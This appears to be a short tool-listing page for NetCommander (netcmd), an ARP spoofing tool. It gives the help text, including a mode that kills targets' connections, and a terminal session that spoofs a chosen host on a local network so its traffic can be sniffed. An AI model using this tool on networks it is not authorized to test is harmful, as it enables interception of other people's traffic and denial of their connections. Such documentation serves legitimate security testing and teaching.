netcmd is used to perform an arp spoofing attack to redirect traffic through the attacker.
-h, --help show this help message and exit -I IFACE, --iface=IFACE Network interface to use if different from the default one. -N NETWORK, --network=NETWORK Network to work on. -G GATEWAY, --gateway=GATEWAY Gateway to use. -K, --kill Kill targets connections instead of forwarding them. -D DELAY, --delay=DELAY Delay in seconds between one arp packet and another, default is 5. -A, --all Keep spoofing and spoof all connected and later connected interfaces.
cyborg@cyborg:~$ sudo netcmd [sudo] password for cyborg: NetCommander 1.3 - An easy to use arp spoofing tool. Copyleft Simone Margaritelli <[email protected]> http://www.evilsocket.net http://www.backbox.org @ Searching for the network gateway address ... @ Gateway is 192.168.1.1 on network 192.168.1.0/24 . @ Searching for alive network endpoints ... @ Please choose your target :  74:de:2b:c3:a0:2f 192.168.1.2  10:78:d2:2b:8f:e1 192.168.1.40  f8:2f:a8:c3:e5:f1 192.168.1.7  d8:3c:69:76:09:96 192.168.1.8  c8:f7:33:77:1a:be 192.168.1.18 @ Choose [0-4] (* to select all, r to refresh): 0 @ Enabling ipv4 forwarding system wide ... @ Spoofing, launch your preferred network sniffer to see target traffic ....